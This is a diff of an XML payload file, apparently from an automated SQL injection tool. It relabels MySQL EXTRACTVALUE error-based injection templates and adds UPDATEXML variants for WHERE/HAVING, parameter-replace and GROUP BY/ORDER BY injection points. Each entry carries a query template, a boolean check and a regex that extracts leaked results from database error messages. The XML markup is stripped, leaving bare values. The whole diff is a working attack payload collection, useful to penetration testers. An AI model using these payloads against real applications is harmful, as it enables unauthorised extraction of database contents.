diff --git a/xml/payloads.xml b/xml/payloads.xml
index 40b37463e..c4eabeb7e 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1010,15 +1010,35 @@ Formats:
- MySQL >= 5.1 AND error-based - WHERE or HAVING clause
+ MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)
2
2
0
1
1
- AND EXTRACTVALUE([RANDNUM], CONCAT('\', '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+ AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
- AND EXTRACTVALUE([RANDNUM], CONCAT('\', '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))
+ AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML)
+ 2
+ 3
+ 0
+ 1
+ 1
+ AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
+
+ AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
@@ -1208,15 +1228,35 @@ Formats:
- MySQL >= 5.1 OR error-based - WHERE or HAVING clause
+ MySQL >= 5.1 OR error-based - WHERE or HAVING clause (EXTRACTVALUE)
2
3
2
1
1
- OR EXTRACTVALUE([RANDNUM], CONCAT('\', '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+ OR EXTRACTVALUE([RANDNUM],CONCAT('\', '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
- OR EXTRACTVALUE([RANDNUM], CONCAT('\', '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))
+ OR EXTRACTVALUE([RANDNUM],CONCAT('\', '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ MySQL >= 5.1 OR error-based - WHERE or HAVING clause (UPDATEXML)
+ 2
+ 4
+ 2
+ 1
+ 1
+ OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
+
+ OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
@@ -1433,7 +1473,7 @@ Formats:
- MySQL >= 5.1 - Parameter replace
+ MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)
2
3
0
@@ -1452,6 +1492,26 @@ Formats:
+
+ MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
+ 2
+ 4
+ 0
+ 1,2,3
+ 3
+ (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]))
+
+ (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
PostgreSQL error-based - Parameter replace
2
@@ -1554,7 +1614,7 @@ Formats:
- MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses
+ MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (EXTRACTVALUE)
2
3
0
@@ -1573,6 +1633,26 @@ Formats:
+
+ MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
+ 2
+ 4
+ 0
+ 2,3
+ 1
+ ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
+
+ ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
PostgreSQL error-based - GROUP BY and ORDER BY clauses
2